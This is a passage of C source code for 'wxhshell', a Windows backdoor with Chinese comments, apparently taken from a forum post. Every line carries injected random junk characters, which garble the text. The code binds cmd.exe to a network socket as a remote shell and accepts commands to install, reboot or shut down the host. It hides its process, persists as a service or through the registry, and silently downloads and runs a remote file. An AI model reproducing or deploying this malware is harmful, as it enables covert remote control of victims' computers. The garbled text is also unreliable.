    switch(cmd[0]) { g9'50<|J  
  <;phc~0+  
  // 帮助 R%8nR6iG"  
  case '?': { hTf]t  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ZTM zL%i  
    break; EX=+TOkAf  
  } =p N?h<dc  
  // 安装 =JX.* MEB  
  case 'i': { Pm#B'N#*N|  
    if(Install()) 9k&lq$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); u}qfwVX Z  
    else DIkD6n?V  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :sk7`7v  
    break; P/,7CfyPd  
    } ;BejFcb  
  // 卸载 VKS:d!}3E  
  case 'r': { DU({Ncge  
    if(Uninstall()) 8!4=j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &CCB;Oi%  
    else J0C<Qb[  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); V-O49  
    break; O]4!U#A  
    } #:DDx5%x<b  
  // 显示 wxhshell 所在路径 Tf21K9+`L  
  case 'p': { NnGQ=$e  
    char svExeFile[MAX_PATH]; {ZY^tTsY  
    strcpy(svExeFile,"\n\r"); LV4 x9?&  
      strcat(svExeFile,ExeFile); /n/U)!tp  
        send(wsh,svExeFile,strlen(svExeFile),0); f(|qE(  
    break; i8Yl1nF  
    } rs=wEMq/  
  // 重启 aVO5zR./)  
  case 'b': { }sd-X`lZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); E )09M%fe  
    if(Boot(REBOOT)) J=Ak+  J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pvDr&n9  
    else {  C!Y|k.`p  
    closesocket(wsh); -]+ XTsL  
    ExitThread(0); }Xrs"u,  
    } g4oFUyk{  
    break; ?*9U d  
    } +r2E5s   
  // 关机 9hmCvQgtf  
  case 'd': { ]BO{Q+?d2  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); InH R> ,  
    if(Boot(SHUTDOWN)) \&&kUpI  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); b+OLmd  
    else { one^XYy1%  
    closesocket(wsh); })M$#%(  
    ExitThread(0); Z, lUO.  
    } XG<^j}H{}  
    break; i74^J+xk  
    } `JG~%0Z?}  
  // 获取shell wf=#w}f  
  case 's': { E,c~.jYc  
    CmdShell(wsh); x/[i &Gkv  
    closesocket(wsh); SR*%-JbA  
    ExitThread(0); vk5pnCM^3  
    break; Ua5m2&U1  
  } T!"<Kv]J  
  // 退出 >m:.5][yu  
  case 'x': { ^n@iCr9  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 8!VjXj"  
    CloseIt(wsh); V*=cNj  
    break; 8MX/GF;F  
    } $\81WsL '  
  // 离开 "2HRuqf  
  case 'q': { d%t]:41=Z  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); umcbIi('  
    closesocket(wsh); $- =aqUU  
    WSACleanup(); T55l-.>  
    exit(1); )_GM&-  
    break; ]WWre},  
        } !Ya +  
  } c5;YKON  
  } cuq7eMG6z  
Y@9L8XNP>  
  // 提示信息 DECX18D  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); / v5Pk.!o  
} 7KRc^ *pZs  
  } ~e 6yaX8S  
O.& 6J/  
  return; S/~6%uJ  
} 3[SN[faS  
~-']Q0Z  
// shell模块句柄 ^nbze  
int CmdShell(SOCKET sock) P^rSpS9  
{ F#X\}MvEU  
STARTUPINFO si; k5!k3yI  
ZeroMemory(&si,sizeof(si)); O3bK>9<K  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 4 3]6J]!)  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; <Cg;l<$`b  
PROCESS_INFORMATION ProcessInfo; ?aOR ^ K  
char cmdline[]="cmd"; 1yX&iO^d  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); R^1= :<)C  
  return 0; 3C_g)5 _:  
} *ivbk /8  
ry~3YYEMI0  
// 自身启动模式 *9PS2*n  
int StartFromService(void) U?$v 1||  
{ >x2T '  
typedef struct YQQ!1 hw  
{ =_^g]?5i  
  DWORD ExitStatus; WCR+ZXI?1  
  DWORD PebBaseAddress; Tw!x*  
  DWORD AffinityMask; {E6W]Mno  
  DWORD BasePriority; De>pIN;B>  
  ULONG UniqueProcessId; Q=^}B}G  
  ULONG InheritedFromUniqueProcessId; Z#V[N9L  
}   PROCESS_BASIC_INFORMATION; XJ?@l3D:  
QO#ZQ~  
PROCNTQSIP NtQueryInformationProcess; V{d"cs>9  
+ s[(CI.b  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; jDXmre?  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; tmb0zuJ&C!  
L {B#x@9tQ  
  HANDLE             hProcess; !%Z1" FDm/  
  PROCESS_BASIC_INFORMATION pbi; 3J(STIxg  
S?Eg   
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); k?J}-+Bm[|  
  if(NULL == hInst ) return 0; D(h|r^5  
2B!nLL Cp+  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); mY`b|cS3p$  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @&EP& $*  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !2{MWj  
58v5Z$%--  
  if (!NtQueryInformationProcess) return 0; u[dI81`  
V KR6i  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); YO,GZD`-o  
  if(!hProcess) return 0; Mm/GI a  
(1Kh9w:^"  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; n"dT^ g  
V).M\  
  CloseHandle(hProcess); .pdgRjlSn  
?^"S%Vb  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Q2fa]*Z5  
if(hProcess==NULL) return 0; MaMs(  
C}00S{nAZ  
HMODULE hMod; 7XwFO0==  
char procName[255]; aX~iY ~?_  
unsigned long cbNeeded; Eydk64 5:3  
lcUL7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #a .aD+d'  
;c;;cJc!  
  CloseHandle(hProcess); ]]7s9PCN  
CX1'B0=\r  
if(strstr(procName,"services")) return 1; // 以服务启动 'E7|L@X"r  
|20p#]0E+  
  return 0; // 注册表启动 DAvAozM  
} 9k *'5(D4S  
PMTyiwlm  
// 主模块 |UlScUI,  
int StartWxhshell(LPSTR lpCmdLine) E4{^[=}  
{ W0nRUAo[  
  SOCKET wsl; BRW   
BOOL val=TRUE; FijzO  
  int port=0; ] xH `  
  struct sockaddr_in door; L^0jyp  
SgY>$gP9S  
  if(wscfg.ws_autoins) Install(); JgxOxZS`@  
IG bQ L  
port=atoi(lpCmdLine); !D6@\  
HZP`u >.  
if(port<=0) port=wscfg.ws_port; 0#yo\McZ  
~Aq UT]l  
  WSADATA data;  35,SPR  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; a]ftE\99  
Y)!5Z.K  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   `U;4O)`n  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Nz]\%c/-  
  door.sin_family = AF_INET; xUeLX`73  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); (>Tu~Vo  
  door.sin_port = htons(port); =UYc~VUYnT  
~5JXY5 *o  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i4uUvZ f  
closesocket(wsl); w-\GrxlbX  
return 1; J@)6]d/,  
} QGYmQ9m{kL  
VvPTL8Z  
  if(listen(wsl,2) == INVALID_SOCKET) { \.*aC)  
closesocket(wsl); lJKU^?4S8  
return 1; 7d9%L}+q  
} IRcZyry  
  Wxhshell(wsl); :Tjo+vw7$H  
  WSACleanup(); xl<Cstr  
>Vg<J~[g  
return 0; ^WVr@6  
|#MA?oz3T  
} q'1rSK  
EmH2 Dbw  
// 以NT服务方式启动 yCm iW %L4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) W/&cnp\  
{ p'_* >%4~  
DWORD   status = 0; tt`b+NOH>  
  DWORD   specificError = 0xfffffff; G8<,\mg+  
/r]IY.  
  serviceStatus.dwServiceType     = SERVICE_WIN32; WAob"`8]  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Ao=.=0os  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ^(a%B  
  serviceStatus.dwWin32ExitCode     = 0; 0P!6 .-XU  
  serviceStatus.dwServiceSpecificExitCode = 0; ;zp0,[r  
  serviceStatus.dwCheckPoint       = 0; g y&B"`  
  serviceStatus.dwWaitHint       = 0; 7 bpV=  
WF:i}+g+^  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G-T:7  
  if (hServiceStatusHandle==0) return; ,!Q2^R   
CM~)\prks  
status = GetLastError(); B'&%EW]  
  if (status!=NO_ERROR) Cj ykM])  
{ 1'}~;?_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; d7l0;yR&+  
    serviceStatus.dwCheckPoint       = 0; jMZ{>l.v  
    serviceStatus.dwWaitHint       = 0; 4Kx;F 9!%~  
    serviceStatus.dwWin32ExitCode     = status; N|8TE7- F|  
    serviceStatus.dwServiceSpecificExitCode = specificError; jtN2%w;  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RELLQpz3  
    return; CxwZ$0  
  } + e4o~ p  
$0{c =r9  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; qL3*H\9N  
  serviceStatus.dwCheckPoint       = 0; qf+I2 kyS  
  serviceStatus.dwWaitHint       = 0; ` 8.d  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); mO]>(^c  
} h*&-[nSo  
lB3W|-Ci  
// 处理NT服务事件,比如:启动、停止 LL.YkYu  
VOID WINAPI NTServiceHandler(DWORD fdwControl) q(_pk&/  
{ 4WDh8U  
switch(fdwControl) 7X1T9'j I2  
{ KLlW\MF1  
case SERVICE_CONTROL_STOP: *qGxQ?/  
  serviceStatus.dwWin32ExitCode = 0; j@Z4(X L  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ,GGr@})  
  serviceStatus.dwCheckPoint   = 0; lS9rgq<n  
  serviceStatus.dwWaitHint     = 0; P b2exS(  
  { p]IF=~b  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); i!jx jP  
  } |WlWZ8]  
  return; ~x`OCii  
case SERVICE_CONTROL_PAUSE: `0Qzu\gRb  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; k6. }.  
  break; l *.#g  
case SERVICE_CONTROL_CONTINUE: gHA"O@HgDI  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "ifYy>d  
  break; leX&py  
case SERVICE_CONTROL_INTERROGATE: *N<~"D  
  break; hb zU?_}  
}; ;#cb%e3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ZB<goEg  
} A2g +m  
g!cTG-bh>J  
// 标准应用程序主函数 TDk'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) iIA&\'|;i  
{ M-"%4^8_  
jBarYg  
// 获取操作系统版本 Hj$JXo[U  
OsIsNt=GetOsVer(); 6:#zlKYJ  
GetModuleFileName(NULL,ExeFile,MAX_PATH); i4&"-ujrm  
G2zfdgW${/  
  // 从命令行安装 F3i+t+Jt  
  if(strpbrk(lpCmdLine,"iI")) Install(); Hq3"OMGq  
X^eTf-*T  
  // 下载执行文件 |Fm(  
if(wscfg.ws_downexe) { $62!R]C9\  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) O}"VK  
  WinExec(wscfg.ws_filenam,SW_HIDE); % sbDH  
} @|idlIey  
"i(k8+i K  
if(!OsIsNt) { Bc`jkO.q  
// 如果时win9x,隐藏进程并且设置为注册表启动 2 D>WIOX  
HideProc(); 5iwJdm  
StartWxhshell(lpCmdLine); L "P$LEk  
} g%Sl+gWdJ  
else V*2uW2\}  
  if(StartFromService()) D:/^TEib  
  // 以服务方式启动 VkZrb2]v  
  StartServiceCtrlDispatcher(DispatchTable); >/Gz*.  
else 8lg $]  
  // 普通方式启动 bO8g#rO  
  StartWxhshell(lpCmdLine); 2X!O '  
{'NdN+_C  
return 0; B#N(PvtE  
}
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只看该作者 1 发表于: 2006-10-10
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